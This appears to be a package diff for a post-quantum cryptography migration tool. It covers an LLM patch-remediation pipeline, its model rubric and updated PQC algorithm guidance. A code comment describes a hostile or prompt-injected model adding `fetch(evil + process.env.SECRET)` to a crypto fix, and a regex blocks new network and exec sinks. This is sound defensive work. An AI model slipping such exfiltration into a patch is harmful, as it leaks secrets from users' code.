{"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * The remediation pipeline: turn candidate patches (from codemods or the LLM)\n * into VERIFIED, in-policy patches. Pure and deterministic — the verify gate\n * runs `verifyFix` on the patched content in memory, so this needs no\n * filesystem or git. Callers (the `qremediate` CLI) decide what to DO with the\n * verified patches (print a diff, write them, or open a PR in a worktree).\n *\n * Two gates, both must pass:\n * 1. patch-policy — the patch may only touch sanctioned files.\n * 2. verify_fix — the patched content clears the target finding, adds no\n * new finding type, and nets fewer findings than before.\n */\nimport type { Finding } from \"./types.js\";\nimport type { Patch } from \"./agent-types.js\";\nimport { checkPatchPolicy } from \"./patch-policy.js\";\nimport type { PolicyContext } from \"./patch-policy.js\";\nimport { verifyFix } from \"./verify.js\";\n\nexport interface VerifiedPatch {\n finding: Finding;\n patch: Patch;\n}\nexport interface RejectedPatch {\n finding: Finding;\n reason: string;\n}\nexport interface RemediationResult {\n applied: VerifiedPatch[];\n rejected: RejectedPatch[];\n}\n\nexport interface RemediateOptions {\n /** Current content of the file a finding lives in. */\n readContent: (finding: Finding) => Promise<string> | string;\n /** Produce a candidate patch for a finding (codemod or LLM), or null. */\n patchSource: (finding: Finding, content: string) => Promise<Patch | null> | Patch | null;\n /** Which files a patch is allowed to touch. */\n policy: PolicyContext;\n}\n\n/** True when `after` is a strict improvement over `before` for `finding`. */\nfunction passesVerify(before: Finding[], after: Finding[], finding: Finding): boolean {\n const targetGone = !after.some((x) => x.ruleId === finding.ruleId);\n const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));\n return targetGone && noNewRuleTypes && after.length < before.length;\n}\n\n/**\n * Exfiltration / RCE primitives an LLM \"crypto fix\" should never *newly*\n * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to\n * the rest of a full-file rewrite, so an injected/hostile model could drop the\n * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard\n * runs ONLY on `source: \"llm\"` patches (codemods are deterministic + trusted).\n */\nconst NEW_SINK_RE =\n /\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime|require\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"]|import\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"])/g;\n\n/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix\n * is localized; a sprawling rewrite is not reviewable as \"just the fix\". */\nexport const LLM_PATCH_MAX_CHANGED_LINES = 60;\n\nfunction countMatches(re: RegExp, s: string): number {\n return (s.match(re) ?? []).length;\n}\n\n/** Changed lines (removed + added) between two revisions, ignoring the shared\n * prefix/suffix — same shape the CLI's unified-diff uses. */\nfunction changedLineCount(before: string, after: string): number {\n const a = before.split(\"\\n\");\n const b = after.split(\"\\n\");\n let start = 0;\n while (start < a.length && start < b.length && a[start] === b[start]) start++;\n let endA = a.length - 1;\n let endB = b.length - 1;\n while (endA >= start && endB >= start && a[endA] === b[endB]) {\n endA--;\n endB--;\n }\n return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);\n}\n\n/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */\nfunction llmPatchRisk(before: string, patch: Patch): string | null {\n if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {\n return \"LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually\";\n }\n const changed = changedLineCount(before, patch.newContent);\n if (changed > LLM_PATCH_MAX_CHANGED_LINES) {\n return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;\n }\n return null;\n}\n\n/**\n * Run each finding through patchSource → policy → verify, collecting the patches\n * that survive both gates and the reasons the rest were dropped.\n */\nexport async function remediateFindings(\n findings: readonly Finding[],\n opts: RemediateOptions,\n): Promise<RemediationResult> {\n const applied: VerifiedPatch[] = [];\n const rejected: RejectedPatch[] = [];\n\n for (const finding of findings) {\n const content = await opts.readContent(finding);\n const patch = await opts.patchSource(finding, content);\n if (!patch) {\n rejected.push({ finding, reason: \"no deterministic fix available\" });\n continue;\n }\n const decision = checkPatchPolicy(patch, opts.policy);\n if (!decision.allowed) {\n rejected.push({ finding, reason: decision.reason ?? \"rejected by patch policy\" });\n continue;\n }\n // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only\n // verify step can't provide (new-sink + change-size bound).\n if (patch.source === \"llm\") {\n const risk = llmPatchRisk(content, patch);\n if (risk) {\n rejected.push({ finding, reason: risk });\n continue;\n }\n }\n const before = verifyFix(content, { filename: finding.location.file }).findings;\n const after = verifyFix(patch.newContent, { filename: patch.path }).findings;\n if (!passesVerify(before, after, finding)) {\n rejected.push({ finding, reason: \"patch did not pass the verify_fix gate\" });\n continue;\n }\n applied.push({ finding, patch });\n }\n\n return { applied, rejected };\n}\n"]}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC"}
|
|
1
|
+
{"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC","sourcesContent":["/**\n * Remediation rubric, fix schema, and request-bundle builder — offline and\n * deterministic, shared by `@quantakrypto/agent` (which prompts a model with\n * them) and the MCP `remediate_findings` tool (which hands the bundle to the\n * host agent). Keeping them here means the MCP server stays offline/key-free.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\nimport { buildContext } from \"./redact.js\";\n\n/** The system rubric for a fix proposal. */\nexport const REMEDIATE_RUBRIC =\n \"You are a post-quantum cryptography migration engineer. Given the FULL content \" +\n \"of one source file plus a finding describing classical (quantum-vulnerable) \" +\n \"cryptography in it, return the FULL corrected file content that removes the \" +\n \"flagged usage, migrating to a post-quantum or hybrid construction \" +\n \"(ML-KEM-768 / ML-DSA-65, hybrid X25519MLKEM768) where a safe replacement \" +\n \"exists. Change as little as possible; preserve all other code and formatting \" +\n \"exactly. If you cannot safely fix it, return newContent identical to the \" +\n \"input. NEVER invent or alter secrets/keys. After proposing, VERIFY with the \" +\n \"verify_fix tool and keep only fixes that clear the finding.\";\n\n/** JSON Schema every fix proposal must satisfy. */\nexport const FIX_REQUEST_SCHEMA: Record<string, unknown> = {\n type: \"object\",\n required: [\"path\", \"newContent\", \"explanation\"],\n properties: {\n path: { type: \"string\" },\n newContent: { type: \"string\" },\n explanation: { type: \"string\" },\n },\n};\n\n/** A remediation request bundle for the host agent. */\nexport interface RemediateRequest {\n instructions: string;\n schema: Record<string, unknown>;\n contexts: RedactedContext[];\n}\n\n/** Build a remediation request bundle (offline; metadata level unless `readContent`). */\nexport function buildRemediateRequest(\n findings: readonly Finding[],\n level: ContextLevel = \"metadata\",\n readContent?: (finding: Finding) => string,\n): RemediateRequest {\n const effectiveLevel: ContextLevel = readContent ? level : \"metadata\";\n const contexts = findings.map((f) =>\n buildContext(f, effectiveLevel, readContent ? readContent(f) : \"\"),\n );\n return { instructions: REMEDIATE_RUBRIC, schema: FIX_REQUEST_SCHEMA, contexts };\n}\n"]}
|
package/dist/remediation.d.ts
CHANGED
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Post-quantum remediation guidance for each classical asymmetric algorithm
|
|
3
|
-
* family. The recommendations follow NIST's
|
|
4
|
-
* (
|
|
5
|
-
*
|
|
3
|
+
* family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
|
|
4
|
+
* (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid
|
|
5
|
+
* key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
|
|
6
|
+
* standards to track are captured in {@link PQC_TRANSITION_NOTE}.
|
|
6
7
|
*/
|
|
7
8
|
import type { AlgorithmFamily, Remediation } from "./types.js";
|
|
8
9
|
/** Look up the recommended post-quantum remediation for a classical algorithm. */
|
|
@@ -47,6 +48,11 @@ export declare function remediationForTier(algorithm: AlgorithmFamily, tier?: Se
|
|
|
47
48
|
* low-volume signing root is appropriate.
|
|
48
49
|
*/
|
|
49
50
|
export declare const STATEFUL_HBS_NOTE: string;
|
|
51
|
+
/**
|
|
52
|
+
* Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
|
|
53
|
+
* targets. Surfaced for operators planning multi-year migrations.
|
|
54
|
+
*/
|
|
55
|
+
export declare const PQC_TRANSITION_NOTE: string;
|
|
50
56
|
/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
|
|
51
57
|
export declare function statefulHbsApplies(algorithm: AlgorithmFamily): boolean;
|
|
52
58
|
//# sourceMappingURL=remediation.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAoF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CA2Bb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC;;;GAGG;AACH,eAAO,MAAM,mBAAmB,QAMkC,CAAC;AAEnE,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}
|
package/dist/remediation.js
CHANGED
|
@@ -48,17 +48,19 @@ const REMEDIATIONS = {
|
|
|
48
48
|
},
|
|
49
49
|
X448: {
|
|
50
50
|
algorithm: "X448",
|
|
51
|
-
recommendation: "hybrid
|
|
51
|
+
recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
|
|
52
52
|
detail: "X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
|
|
53
53
|
"higher classical security level, but it is still broken by Shor's algorithm. " +
|
|
54
|
-
"
|
|
54
|
+
"To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
|
|
55
|
+
"(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
|
|
55
56
|
},
|
|
56
57
|
ECIES: {
|
|
57
58
|
algorithm: "ECIES",
|
|
58
|
-
recommendation: "ML-KEM-768 hybrid encryption",
|
|
59
|
+
recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
|
|
59
60
|
detail: "ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
|
|
60
|
-
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203)
|
|
61
|
-
"
|
|
61
|
+
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
|
|
62
|
+
"a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
|
|
63
|
+
"(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
|
|
62
64
|
},
|
|
63
65
|
unknown: {
|
|
64
66
|
algorithm: "unknown",
|
|
@@ -151,6 +153,16 @@ export const STATEFUL_HBS_NOTE = "For firmware / secure-boot signing, the statef
|
|
|
151
153
|
"but they are STATEFUL: the signer must never reuse a one-time key index. " +
|
|
152
154
|
"Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
|
|
153
155
|
"(FIPS 204) or SLH-DSA (FIPS 205).";
|
|
156
|
+
/**
|
|
157
|
+
* Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
|
|
158
|
+
* targets. Surfaced for operators planning multi-year migrations.
|
|
159
|
+
*/
|
|
160
|
+
export const PQC_TRANSITION_NOTE = "Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
|
|
161
|
+
"2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
|
|
162
|
+
"must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
|
|
163
|
+
"selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
|
|
164
|
+
"ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
|
|
165
|
+
"X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
|
|
154
166
|
/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
|
|
155
167
|
export function statefulHbsApplies(algorithm) {
|
|
156
168
|
// Signature families only — LMS/XMSS are signatures, not KEMs.
|